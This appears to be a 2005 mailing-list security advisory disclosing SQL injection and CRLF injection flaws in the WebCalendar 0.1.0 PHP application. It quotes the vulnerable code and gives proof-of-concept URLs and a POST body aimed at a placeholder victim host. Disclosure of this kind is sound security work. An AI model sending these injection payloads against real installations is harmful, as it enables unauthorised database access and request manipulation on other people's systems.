<<< Date Index >>>     <<< Thread Index >>>

WebCalendar Multiple Vulnerabilities.



WebCalendar Multiple Vulnerabilities.

Author: lwang (lwang at lwang.org)

Publish Date: 2005-12-1

Description:
WebCalendar is a PHP application used to maintain a calendar for one or more 
persons and for a variety of purposes.  
In WebCalendar 0.1.0, activity_log.php and edit_report_handler.php are prone to 
SQL Injection attack, layers_toggle.php is vulnerable to CRLF Injection.

Reference: 
http://vd.lwang.org/webcalendar_multiple_vulns.txt

Vulnerability Analysis and Proof of Concept:
1. SQL Injection
        in activity_log.php, parameter $startid does not validation.
        if ( ! empty ( $startid ) )
        $sql .= "AND webcal_entry_log.cal_log_id <= $startid ";
        PoC:
        http://victimhost/webcalendar/activity_log.php?startid=%2527
        http://victimhost/webcalendar/activity_log.php?startid=%27
        http://victimhost/webcalendar/activity_log.php?startid='
        
        in edit_report_handler.php
        PoC:
        POST the following variable to 
http://victimhost/webcalendar/edit_report_handler.php
        
report_name=Unnamed%20Report&is_global=Y&show_in_trailer=Y&include_header=Y&time_range='&cat_id=1&allow_nav=Y&include_empty=Y&page_template=%26lt%3Bdl%26gt%3B%24%7Bdays%7D%26lt%3B%2Fdl%26gt%3B&day_template=%26lt%3Bdt%26gt%3B%26lt%3Bb%26gt%3B%24%7Bdate%7D%26lt%3B%2Fb%26gt%3B%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bdl%26gt%3B%24%7Bevents%7D%26lt%3B%2Fdl%26gt%3B%26lt%3B%2Fdd%26gt%3B&event_template=%26lt%3Bdt%26gt%3B%24%7Bname%7D%26lt%3B%2Fdt%26gt%3B%0A%26lt%3Bdd%26gt%3B%26lt%3Bb%26gt%3BDate%3A%26lt%3B%2Fb%26gt%3B%20%24%7Bdate%7D%26lt%3Bbr%20%2F%26gt%3B%0A%26lt%3Bb%26gt%3BTime%3A%26lt%3B%2Fb%26gt%3B%20%24%7Btime%7D%26lt%3Bbr%20%2F%26gt%3B%0A%24%7Bdescription%7D%26lt%3B%2Fdd%26gt%3B

2. CRLF Injection
        in layers_toggle.php, parameter $ret does not validation.
        if ( empty ( $error ) ) {
        // Go back to where we where if we can figure it out.
        if ( strlen ( $ret ) )
        do_redirect ( $ret );
        else if ( ! empty ( $HTTP_REFERER ) )
        do_redirect ( $HTTP_REFERER );
        else
        send_to_preferred_view ();
        
        PoC:
        
http://victimhost/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to]